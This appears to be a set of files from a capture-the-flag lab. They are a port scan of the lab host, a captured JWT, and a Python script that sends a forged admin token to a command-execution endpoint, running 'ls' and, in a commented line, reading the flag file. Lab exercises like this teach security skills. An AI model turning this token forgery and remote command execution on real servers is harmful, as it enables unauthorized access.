eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzYxMjM1NDY1LCJleHAiOjE3NjEyMzkwNjUsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.5R6LXmNVMcqMhOrI63yXJdDMxBq1ndpAzNkffyq2qqQ
+31
View File
@@ -0,0 +1,31 @@
# Nmap 7.95 scan initiated Thu Oct 23 15:50:08 2025 as: /usr/lib/nmap/nmap --privileged -A -p- -T4 -oN nmap_scan1.txt 10.10.160.193
Nmap scan report for hammer.thm (10.10.160.193)
Host is up (0.100s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 d1:2c:73:75:5d:48:77:92:e2:5a:60:f0:86:56:53:b8 (RSA)
| 256 cf:e6:d5:e5:7d:30:95:b2:9e:f1:85:19:27:3f:6e:50 (ECDSA)
|_ 256 fb:0f:d0:1c:4f:94:bc:77:38:19:bd:b2:0d:53:28:59 (ED25519)
1337/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Login
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 3306/tcp)
HOP RTT ADDRESS
1 177.82 ms 10.14.0.1
2 162.75 ms hammer.thm (10.10.160.193)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Oct 23 16:04:35 2025 -- 1 IP address (1 host up) scanned in 867.31 seconds
File diff suppressed because it is too large. Load diff
+34
View File
@@ -0,0 +1,34 @@
import requests
IP = '10.10.150.76'
url = f"http://{IP}:1337/execute_command.php"
session = "2t8g5kvcql31qk5iuvpgegkki7"
token_user = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L215a2V5LmtleSJ9.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzYxMjQ1MTA3LCJleHAiOjE3NjEyNDg3MDcsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ1c2VyIn19.9hrG4miaa7txtC0CaXt0UJsv0Cg4aSKmCD8m6CG9qts'
token_admin = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiIsImtpZCI6Ii92YXIvd3d3L2h0bWwvMTg4YWRlMS5rZXkifQ.eyJpc3MiOiJodHRwOi8vaGFtbWVyLnRobSIsImF1ZCI6Imh0dHA6Ly9oYW1tZXIudGhtIiwiaWF0IjoxNzYxMjQ1NjUwLCJleHAiOjE3NjEyNDkyNTAsImRhdGEiOnsidXNlcl9pZCI6MSwiZW1haWwiOiJ0ZXN0ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJhZG1pbiJ9fQ.Hk_RgyXnBqyBYYzpkkJ-4KqclFfMNqLs41TxJOtRcGE'
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest',
'Origin': f"http://{IP}:1337",
'DNT': '1',
'Sec-GPC': '1',
'Connection': 'keep-alive',
'Referer': f"http://{IP}:1337/dashboard.php",
'Cookie': f"PHPSESSID={session}; token={token_admin}; persistentSession=no",
'Priority': 'u=0',
'Authorization': f"Bearer {token_admin}"
}
data = {
# 'command': 'cat /home/ubuntu/flag.txt'
'command': 'ls'
}
print(headers)
response = requests.post(url, headers=headers, data=data)
print(response.json())
+1
View File
@@ -0,0 +1 @@
tester@hammer.thm